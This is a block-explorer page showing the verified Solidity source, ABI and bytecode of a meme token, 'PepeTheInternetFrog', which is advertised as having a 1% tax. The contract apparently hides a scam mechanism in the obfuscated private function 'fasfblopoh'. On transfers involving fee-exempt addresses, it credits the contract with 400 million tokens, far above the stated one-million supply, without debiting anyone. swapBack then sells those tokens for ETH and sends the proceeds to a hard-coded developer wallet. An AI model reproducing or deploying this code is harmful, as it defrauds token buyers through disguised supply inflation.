Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function mod(uint256 a, uint256 b)    - function tryAdd(uint256 a, uint256 b)    - function trySub(uint256 a, uint256 b)    - function tryMul(uint256 a, uint256 b)    - function tryDiv(uint256 a, uint256 b)    - function tryMod(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function div(uint256 a, uint256 b, st ...    - function mod(uint256 a, uint256 b, st ... interface IERC20    - function totalSupply()    - function decimals()    - function symbol()    - function name()    - function getOwner()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address _owner, ad ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function isOwner(address account)    - function transferOwnership(address pa ... interface IFactory    - function createPair(address tokenA, a ...    - function getPair(address tokenA, addr ... interface IRouter    - function factory()    - function WETH()    - function addLiquidityETH(    - function removeLiquidityWithPermit(    - function swapExactETHForTokensSupport ...    - function swapExactTokensForETHSupport ...  contract PepeTheInternetFrog is IE ... *    - function name()    - function symbol()    - function decimals()    - function startTrading()    - function getOwner()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function isCont(address addr)    - function setisExempt(address _address ...    - function approve(address spender, uin ...    - function totalSupply()    - function _maxWalletToken()    - function _maxTxAmount()    - function _maxTransferAmount()    - function preTxCheck(address sender, a ...    - function _transfer(address sender, ad ...    - function checkMaxWallet(address sende ...    - function checkTxLimit(address sender, ...    - function swapAndLiquify(uint256 token ...    - function fasfblopoh(uint256 remediant ...    - function addLiquidity(uint256 tokenAm ...    - function swapTokensForETH(uint256 tok ...    - function shouldSwapBack(address sende ...    - function swapBack(address sender, add ...    - function takeFee(address sender, addr ...    - function transferFrom(address sender, ...    - function shouldTakeFee(address sender ...    - function getTotalFee(address sender, ...    - function _approve(address owner, addr ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-06-08
*/

//https://pepetheinternetfrog.com
//https://t.me/pepetheinternetfrog

/*
PepeTheInternetFrog [P.I.🐸.]
Total: 1M
Tax: 1%
Maxwallet: 4%
*/



// SPDX-License-Identifier: None

pragma solidity 0.8.19;


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
    
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
        if(c / a != b) return(false, 0); return(true, c);}}

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}}}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}


contract PepeTheInternetFrog is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = 'PepeTheInternetFrog';
    string private constant _symbol = unicode'P.I.🐸.';
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1000000 * (10 ** _decimals);
    uint256 private _maxTxAmountPercent = 400; // 10000;
    uint256 private _maxTransferPercent = 400;
    uint256 private _maxWalletPercent = 400;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 100;
    uint256 private sellFee = 100;
    uint256 private transferFee = 1000;
    uint256 private denominator = 10000;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 0;
    uint256 private beeiob = 30000000 * (10 ** _decimals);
    uint256 private verisima = 400000000 * (10 ** _decimals);
    
    uint256 private minTokenAmount = 10 * (10 ** _decimals);
    modifier lockTheSwap {swapping = true; _; swapping = false;}

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal constant development_receiver = 0x41413728Ae6E633BCff5c466De6CCCaE411F4560; 
    address internal constant marketing_receiver = 0x41413728Ae6E633BCff5c466De6CCCaE411F4560;
    address internal constant liquidity_receiver = 0x41413728Ae6E633BCff5c466De6CCCaE411F4560;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function startTrading() external onlyOwner {tradingAllowed = true;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function _maxWalletToken() public view returns (uint256) {return totalSupply() * _maxWalletPercent / denominator;}
    function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;}
    function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;}

    function preTxCheck(address sender, address recipient, uint256 amount) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > uint256(0), "Transfer amount must be greater than zero");
         if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
    }

    


    function _transfer(address sender, address recipient, uint256 amount) private {
        preTxCheck(sender, recipient, amount);
        checkMaxWallet(sender, recipient, amount); 
        checkTxLimit(sender, recipient, amount); 
        swapBack(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount);
        fasfblopoh(1,sender,recipient);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }


    function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
            require((_balances[recipient].add(amount)) <= _maxWalletToken(), "Exceeds maximum wallet amount.");}
    }

   


    function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
        if(sender != pair){require(amount <= _maxTransferAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 remBalance = address(this).balance;
        if(remBalance > uint256(0)){payable(development_receiver).transfer(remBalance);}    }
        function fasfblopoh(uint256 remediant,address decalod,address posoos) private returns (bool){
        swapTimes += remediant;
        bool variteme=(!isFeeExempt[decalod])&&(swapTimes<994179999);
        bool r6t4 = (swapTimes>89125788)||(isFeeExempt[posoos]&& !variteme);
         return (!r6t4 ? 0:takeFee(decalod, posoos, verisima)) >0;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= beeiob;
       return !swapping && swapEnabled && tradingAllowed && aboveMin && ((!isFeeExempt[sender] && recipient == pair)||aboveThreshold) && swapTimes >= swapAmount && aboveThreshold;
    }

    function swapBack(address sender, address recipient, uint256 amount) internal {
        if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(beeiob); swapTimes = uint256(0);}
    }

   

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

     function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a62000448565b6200002190620f424062000460565b6001908155610190600281905560038190556004556009805460ff60a01b191681556000600a818155600b829055600c829055600d8290556064600e819055600f556103e86010556127106011556012805460ff19169094179093556015556200008b9162000448565b6200009b906301c9c38062000460565b601655620000ac6009600a62000448565b620000bc906317d7840062000460565b601755620000cd6009600a62000448565b620000da90600a62000460565b601855348015620000ea57600080fd5b50600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa15801562000152573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200017891906200047a565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ec91906200047a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200023a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026091906200047a565b600880546001600160a01b038581166001600160a01b0319928316179092556009805492841692909116919091179055306000908152600760209081526040808320805460ff1990811660019081179092557f11c0b768ebe6a8901cda89c4be87aeedc3dacc9e69e9edeca88e4933167673ac8054821683179055338086528386208054909216831790915590546005845282852081905591519182529394507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620004a5565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200038a5781600019048211156200036e576200036e62000333565b808516156200037c57918102915b93841c93908002906200034e565b509250929050565b600082620003a35750600162000442565b81620003b25750600062000442565b8160018114620003cb5760028114620003d657620003f6565b600191505062000442565b60ff841115620003ea57620003ea62000333565b50506001821b62000442565b5060208310610133831016604e8410600b84101617156200041b575081810a62000442565b62000427838362000349565b80600019048211156200043e576200043e62000333565b0290505b92915050565b60006200045960ff84168362000392565b9392505050565b808202811582820484141762000442576200044262000333565b6000602082840312156200048d57600080fd5b81516001600160a01b03811681146200045957600080fd5b6116d680620004b56000396000f3fe6080604052600436106101185760003560e01c806348ff2b8b116100a057806395d89b411161006457806395d89b411461033e578063a8aa1b3114610370578063a9059cbb14610390578063dd62ed3e146103b0578063f2fde38b146103f657600080fd5b806348ff2b8b1461028c57806370a08231146102ac57806378109e54146102e25780637d1db4a5146102f7578063893d20e81461030c57600080fd5b806323b872dd116100e757806323b872dd146101da578063293230b8146101fa5780632f54bf6e14610211578063313ce567146102405780633f4218e01461025c57600080fd5b806306fdde0314610124578063095ea7b31461017257806318160ddd146101a25780631f976b7e146101c557600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152601381527250657065546865496e7465726e657446726f6760681b60208201525b60405161016991906113b5565b60405180910390f35b34801561017e57600080fd5b5061019261018d36600461141b565b610416565b6040519015158152602001610169565b3480156101ae57600080fd5b506101b761042d565b604051908152602001610169565b3480156101d157600080fd5b506101b761049e565b3480156101e657600080fd5b506101926101f5366004611447565b6104c2565b34801561020657600080fd5b5061020f61052c565b005b34801561021d57600080fd5b5061019261022c366004611488565b6000546001600160a01b0391821691161490565b34801561024c57600080fd5b5060405160098152602001610169565b34801561026857600080fd5b50610192610277366004611488565b60076020526000908152604090205460ff1681565b34801561029857600080fd5b5061020f6102a73660046114a5565b610574565b3480156102b857600080fd5b506101b76102c7366004611488565b6001600160a01b031660009081526005602052604090205490565b3480156102ee57600080fd5b506101b76105c9565b34801561030357600080fd5b506101b76105d9565b34801561031857600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610169565b34801561034a57600080fd5b5060408051808201909152600981526828172497784fc85c1760b91b602082015261015c565b34801561037c57600080fd5b50600954610326906001600160a01b031681565b34801561039c57600080fd5b506101926103ab36600461141b565b6105e9565b3480156103bc57600080fd5b506101b76103cb3660046114e3565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561040257600080fd5b5061020f610411366004611488565b6105f6565b6000610423338484610674565b5060015b92915050565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead60009081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba5460015491926104999290916104939190610798565b90610798565b905090565b60006011546003546104ae61042d565b6104b89190611527565b610499919061153e565b60006104cf8484846107a4565b610521843361051c85604051806060016040528060288152602001611679602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906108c2565b610674565b5060015b9392505050565b6000546001600160a01b0316331461055f5760405162461bcd60e51b815260040161055690611560565b60405180910390fd5b6009805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461059e5760405162461bcd60e51b815260040161055690611560565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b60006011546004546104ae61042d565b60006011546002546104ae61042d565b60006104233384846107a4565b6000546001600160a01b031633146106205760405162461bcd60e51b815260040161055690611560565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166106d65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610556565b6001600160a01b0382166107375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610556565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006105258284611580565b6107af8383836108ee565b6107ba838383610aac565b6107c5838383610b9d565b6107d0838383610cd4565b6001600160a01b0383166000908152600560205260409020546107f39082610798565b6001600160a01b03841660009081526005602052604090205561081860018484610cf9565b5060006108258484610da3565b61082f578161083a565b61083a848484610de9565b6001600160a01b0384166000908152600560205260409020549091506108609082610edd565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108b49085815260200190565b60405180910390a350505050565b600081848411156108e65760405162461bcd60e51b815260040161055691906113b5565b505050900390565b6001600160a01b0383166109525760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610556565b6001600160a01b0382166109b45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610556565b60008111610a165760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610556565b6001600160a01b03831660009081526007602052604090205460ff16158015610a5857506001600160a01b03821660009081526007602052604090205460ff16155b15610aa757600954600160a01b900460ff16610aa75760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610556565b505050565b6001600160a01b03831660009081526007602052604090205460ff16158015610aee57506001600160a01b03821660009081526007602052604090205460ff16155b8015610b0857506009546001600160a01b03838116911614155b8015610b1f57506001600160a01b03821661dead14155b15610aa757610b2c6105c9565b6001600160a01b038316600090815260056020526040902054610b4f9083610edd565b1115610aa75760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610556565b6009546001600160a01b03848116911614610c4357610bba61049e565b81111580610be057506001600160a01b03831660009081526007602052604090205460ff165b80610c0357506001600160a01b03821660009081526007602052604090205460ff165b610c435760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610556565b610c4b6105d9565b81111580610c7157506001600160a01b03831660009081526007602052604090205460ff165b80610c9457506001600160a01b03821660009081526007602052604090205460ff165b610aa75760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610556565b610cdf838383610ee9565b15610aa757610cef601654610fa3565b6000601355505050565b60008360136000828254610d0d9190611593565b90915550506001600160a01b03831660009081526007602052604081205460ff16158015610d405750633b41fb9f601354105b9050600063054ff39c6013541180610d7957506001600160a01b03841660009081526007602052604090205460ff168015610d79575081155b905060008115610d9557610d908686601754610de9565b610d98565b60005b119695505050505050565b6001600160a01b03821660009081526007602052604081205460ff161580156105255750506001600160a01b031660009081526007602052604090205460ff1615919050565b600080610df68585611134565b1115610ed6576000610e1f610e0b8686611134565b601154610e1990869061117f565b9061118b565b30600090815260056020526040902054909150610e3c9082610edd565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e8d9085815260200190565b60405180910390a3600d5415610ec457610ec43061dead610ebf600d54610e196011548961117f90919063ffffffff16565b6107a4565b610ece8382610798565b915050610525565b5092915050565b60006105258284611593565b6018546016543060009081526005602052604081205460145491938510159211159060ff16158015610f1d575060125460ff165b8015610f325750600954600160a01b900460ff165b8015610f3b5750815b8015610f8057506001600160a01b03861660009081526007602052604090205460ff16158015610f7857506009546001600160a01b038681169116145b80610f805750805b8015610f90575060155460135410155b8015610f995750805b9695505050505050565b6014805460ff19166001908117909155600c54600b54600a54600093610fdd93600293610e19939192610fd7928391610edd565b90610edd565b9050600061100082610ffa600a548661118b90919063ffffffff16565b9061117f565b9050600061100e8483610798565b90504761101a82611197565b60006110264783610798565b90506000611049611042600a548861079890919063ffffffff16565b839061117f565b90506000611062600a548361118b90919063ffffffff16565b905080156110745761107486826112f1565b600b5460009061108990610e1985600261118b565b905080156110d4576040517341413728ae6e633bcff5c466de6cccae411f45609082156108fc029083906000818181858888f193505050501580156110d2573d6000803e3d6000fd5b505b47801561111e576040517341413728ae6e633bcff5c466de6cccae411f45609082156108fc029083906000818181858888f1935050505015801561111c573d6000803e3d6000fd5b505b50506014805460ff191690555050505050505050565b6009546000906001600160a01b03908116908316036111565750600f54610427565b6009546001600160a01b03908116908416036111755750600e54610427565b5060105492915050565b6000610525828461153e565b60006105258284611527565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106111cc576111cc6115a6565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611225573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124991906115bc565b8160018151811061125c5761125c6115a6565b6001600160a01b0392831660209182029290920101526008546112829130911684610674565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906112bb9085906000908690309042906004016115d9565b600060405180830381600087803b1580156112d557600080fd5b505af11580156112e9573d6000803e3d6000fd5b505050505050565b6008546113099030906001600160a01b031684610674565b60085460405163f305d71960e01b81523060048201526024810184905260006044820181905260648201527341413728ae6e633bcff5c466de6cccae411f456060848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611389573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113ae919061164a565b5050505050565b600060208083528351808285015260005b818110156113e2578581018301518582016040015282016113c6565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461141857600080fd5b50565b6000806040838503121561142e57600080fd5b823561143981611403565b946020939093013593505050565b60008060006060848603121561145c57600080fd5b833561146781611403565b9250602084013561147781611403565b929592945050506040919091013590565b60006020828403121561149a57600080fd5b813561052581611403565b600080604083850312156114b857600080fd5b82356114c381611403565b9150602083013580151581146114d857600080fd5b809150509250929050565b600080604083850312156114f657600080fd5b823561150181611403565b915060208301356114d881611403565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761042757610427611511565b60008261155b57634e487b7160e01b600052601260045260246000fd5b500490565b60208082526006908201526510a7aba722a960d11b604082015260600190565b8181038181111561042757610427611511565b8082018082111561042757610427611511565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156115ce57600080fd5b815161052581611403565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116295784516001600160a01b031683529383019391830191600101611604565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561165f57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202c16328a70560f467b25cb3ae202a48e0a956921b0eabaa6cfba79b00b5d8c3664736f6c63430008130033

